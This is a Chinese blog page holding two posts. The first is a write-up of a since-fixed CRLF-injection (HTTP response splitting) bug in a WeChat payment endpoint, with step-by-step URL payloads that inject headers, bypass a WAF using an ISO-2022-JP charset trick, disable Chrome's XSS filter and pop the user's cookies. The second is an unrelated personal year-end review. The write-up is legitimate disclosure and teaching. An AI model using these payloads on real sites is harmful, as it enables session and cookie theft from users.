0%

前言

这是一篇关于HTTP Response Split(CRLF Injection)漏洞的及绕过腾讯WAF导致前端出现XSS的实例分析,个人觉得在这个过程中能学到点知识,因此整理出来分享一下,如果不感兴趣记得及时关闭页面。

关于HRS问题

我们都知道,HTTP协议是依靠两个CRLF,即\r\n来分割HTTP头部及响应体。基于这个认知,可以推出,HRS问题是由于服务端程序没有过滤掉头部中的特殊字符%0D%0A,直接输出到了返回的数据中,导致错误的解析。而在日常开发中,最常见的莫过于有以下的两种功能(1)URL跳转(2)Cookie的设置中出现。接下来的小节里,将会以一个Cookie实例作来说明这个问题的危害。实例在:http://wooyun.org/bugs/wooyun-2016-0173904 ,目前腾讯已经修复了。

接口说明

这个接口在大家使用微信红包的过程中都用过,我用xxx.com代表接口的域名,具体接口的功能我就先不说,虽然危害不大。接口如下:

1
https://xxx.com/cgi-bin/xxx/geiwofahongbaowojiugaosuni?exportkey=&pass_ticket=a

返回

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Sat, 30 Jan 2016 12:08:28 GMT
Content-Type: text/html; charset=gbk
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache, must-revalidate
Set-Cookie: pass_ticket=a; Domain=xxx.com; Path=/; Expires=Sun, 31-Jan-2016 12:08:28 GMT

在微信端这个接口其实没有什么问题,因为微信客户端会把这个参数替换掉,因此攻击者填入的参数就会被直接去掉,然而在浏览器中,却导致了XSS。

一步一个脚印

0x00 插入img标签

从上面接口的返回数据中,可以看到pass_ticket参数的值出现在了Set-Cookie头部中,我们先试试能不能用插入两个CRLF,然后插入img标签。

1
exportkey=&pass_ticket=a%0d%0a%0d%0a%3Cimg%20src=1%3E

然而这个请求返回了空,浏览器根本不去解析body里的内容。不能放弃,通过curl分析一下,发现其实后端并没有过滤,请求都返回了,只是Content-Length为0导致浏览器认为Body为空,使用命令curl -kv <url>可以看到以下的错误提示。

1
2
3
* Excess found in a non pipelined read: excess = 84 url = 
/cgi-bin/xxx/geiwofahongbaowojiugaosuni?exportkey=&pass_ticket=a%0d%0a%0d%0a%3Cimg%20src=1%3E
(zero-length body)

知道问题之后,我们下一步就是想方法让Content-Length的值不为0!试着在头部插入Content-Length: 60,得到以下的URL

1
exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E

浏览器里访问,bingo,图片出现了!

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Sat, 30 Jan 2016 12:15:03 GMT
Content-Type: text/html; charset=gbk
Content-Length: 60
Connection: keep-alive
Cache-Control: no-cache, must-revalidate
Set-Cookie: pass_ticket=a

<img src=1>; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-J

0x01 尝试执行脚本

能够插入img标签之后,我半生不熟的前端知识告诉我,src=1,图片肯定会加载失败,失败了就会有onerror的事件发生。于是,试试下面的URL

1
exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%20onerror=alert(1)%3E

事实告诉我们,现实并没有想象中的美好,服务器直接返回了501,这是什么原因导致的?尝试几次之后推断是被WAF拦截了。WAF是Web Application Firewall的缩写,我们的“恶意”请求被它检查出来。试了一下,发现在被和谐的的onerror和alert中间插入一些其他字符,就不会被拦截,例如:on\error=al\ert(1),然而这并没有什么卵用,因为这根本就不是合法的HTML属性。

0x02 Bypass WAF

有WAF,就得考虑如何绕过,然而在确认了自己的认知范围里并没有绕过的方法后,我去请教了@mramydnei。以下是他提供的思路及Bypass WAF的例子:

大概原理就是:

  1. 插入Content-Type更改response中的charset
  2. 选择一个字符集,保证该字符集中的某个字符或字符串会被浏览器忽略(也可以是unicode transform)
  3. 将会被忽略的字符插入到被blacklist拦截的字符之间
  4. done
1
exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=al%1B%28Jert%28document.domain%29%3E

看到他的回复后,我只有一个想法:人要有敬畏之心!后来找了一下,在Chrome的Issue List找到了一些相关的讨论,https://crbug.com/114941

0x03 绕过浏览器的XSS过滤

由于是反射型的XSS,Chrome里直接访问的时候会发现它拦截了脚本的执行,虽然在firefox里是可行的。从上面中的分析过程中,我们可以知道一个事情:可以在返回的头部的信息里插入任何头部信息!这看上去很赞,于是就想起了Chrome的XSS过滤是可以被关闭的,只要你返回的头部中带有X-XSS-Protection:0,构造URL如下:

1
?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%1B%28Jert%28document.co%1B%28Jokie%29%22%3E

点击后可以看到页面弹出了用户的Cookie,好了。虽然我们的xxx.com只是它的某个子域,这里的Cookie却弹出了其他子域名的,为什么呢?因为前端用了document.domain = xx.com

最后说几句

在这个过程中,你学到了什么呢?反思这个过程,我觉得是信息量好大。对于我们做开发的,我认为最重要的一点是,用户的输入都是不可信的(这句话已经被无数人说过无数次了应该)。另外我读了一下Python Web框架里的一些代码,发现有些框架已经帮我们处理掉部分问题,例如在Flask中调用设置Cookie的相关接口中,werkzeug会使用白名单的机制检查每个byte,如果发现恶意字符,则将输入的值中用双引号包围起来,同时还有转义一部分字符,具体代码在这里:https://github.com/mitsuhiko/werkzeug/blob/master/werkzeug/_internal.py#L222

放几个参考链接:

  1. https://en.wikipedia.org/wiki/HTTP_response_splitting
  2. http://blog.bentkowski.info/2014/07/google-doodle-xss-actually-response.html
  3. http://drops.wooyun.org/papers/2466

又是一年要结束了,又到了该总结一下过去一年的收获,也许明天会更好吧。妈蛋,原来去年没有写总结,怪不得觉得有很多事情要写,但时间都对不上。

Timeline

  • 2月份在家过完年很早就回到学校,完成一件很久之前一直要做但没敢去做的事情
  • 3,4,5月调整心情,在学校写毕业设计,5月份答辩完
  • 6月份毕业啦,在中大六年的生活就此落幕
  • 7月份开始工作了,人生开始变化,而我却还是那个我,波澜不惊的生活
  • 10月份开始培养业务爱好,除去美剧,日漫后另一个可以用来消磨时间的事情

毕业设计和毕业典礼

我用心做了吗?没有。我用心写了吗?没有。毕设题目我现在好像已经快忘记得差不多,当时盲审的时候出来的结果居然有个B,被打回来修改后找导师签名才能过的那种,周围人都是一次性过,还好当时心态摆得比较平,只要不是不通过,我改就是了。后来当然就是答辩了,还算顺利,我被安排在下午。老师们估计也是听着觉得没意思,随便问了几个问题就过去了。早上在那里等了一个上午,结果轮到自己估计15分钟都不用就完事了,中间还没有去吃饭一直在那里准备!印象最深的是结束答辩后朋友圈刷起了“今天是个好日子”的歌!!哈哈!毕业设计算是给自己两年研究生生活的交代吧,虽然事后觉得很少,但是事前周围大家都渲染了恐怖的气氛,压力多少还是有一些的。

完成毕业设计之后迎来的当然是估计这辈子都不会再有的猪一样的生活了,那段时间可以无忧无虑地在校园里享受最后的大学时光,每天想去打球就去打球,一周估计有三次吧!当然后果就是:在越来越黑的路上越走越远啊。打完球一身汗坐在篮球场上仰望星空,等待一切该发生的事情。学院毕业那天随便过去拍拍照就完了,感觉天太热叫朋友来一起拍照太麻烦,我还是选择跟本科毕业一样低调了事。学院请吃饭那晚也没记得什么,心态变得很平淡,估计是老了吧。学校毕业典礼那天跟校长握了一下手,没有做什么突出的事情,也安安静静地结束了。

关于工作

华丽丽地从一个学生仔变成社会人士,很庆幸的是我们这一行的圈子不需要太多的转变,最大的变化无非就是以前待在实验室,现在要每天待到办公室里面对电脑屏幕敲键盘。还有就是不能再任性的想几点起床就几点起床,晚上睡觉都要多告诉自己一声明天要上班,每逢周一心情会跟大家一样Down,周五下班有种释然的感觉。工作算轻松的吧,压力不大,部门还有一堆喜欢运动的同事,每周可以打球。唯一觉得该提的一件事就是新人转正的一个必要条件,在某个打字软件上速度要达到60。好吧,每天上班前练习40分钟到一个小时,中午休息的时候练一个小时,晚上下班后在公司练一个小时,回来后在自己电脑上再练多一会,最后总算有惊无险地通过。

这一年的业余爱好

  1. 看NBA,印象深刻的是雷霆最后进不了季后赛,感叹了一声:当你的命运掌握在别人的手里,再努力也没用。另外一个就是支持的球队金州勇士最后拿下了总冠军!以后有机会一定要去现场看一次NBA的比赛!
  2. 追剧,小说,电影等。这一年追的美剧不少啊,苦逼的IT创业者之《硅谷》,民风淳朴的《哥谭》,各种奇怪能力的《神盾局特工》,每集都高潮迭起的《逍遥法外》,最喜欢的当数《黑客军团》,至今仍然印象深刻的对白:”You cry sometimes… Just like me. Because you are lonely. I don’t just hack you, Krista. I hack everyone – My friends, coworkers. But I’ve helped a lot of people. I want … A way out of loneliness… Just like you.”。我还记得看了《一公升的眼泪》,是的,每集都会流一公升的眼泪。对了,每晚睡觉前我还拿起了当年买的kindle看小说,看完了《肖申克的救赎》,半本《盗墓笔记》,《三体》,《三体II:黑暗森林》等。还追了一些日漫,有点多就不一一列举。当然,我学习也没有落下的,浏览完了几本技术书,也偶尔更新下博客。
  3. 业务安全爱好者,从10月份起就在漏洞平台乌云上提交一些漏洞,等级从一个路人刷到了白帽子。黑客?我当然是个好人,引用别人一句话:“我提交漏洞,大多为了名利和自我价值实现,这些已让我有足够动机,不掺杂任何崇高的白帽子精神。”

值得吹牛的事情

  1. 给一个公司报告了一个他们软件上某个功能的Bug,得到了1000刀的奖励。钱虽然不多,但发现我的邮件里只写了几十个字,大概知识就是财富吧,哈哈。
  2. 来自陌生人的红包:前段时间有上海某公司的一个人加我,发了我个200RMB的红包,另外还有一个北京某教育类创业公司CTO也加我微信给我发了66 RMB的红包。

最后

明显这一年过得挺奇怪的,送给自己一句话,希望明年有所改变:生于忧患死于安乐。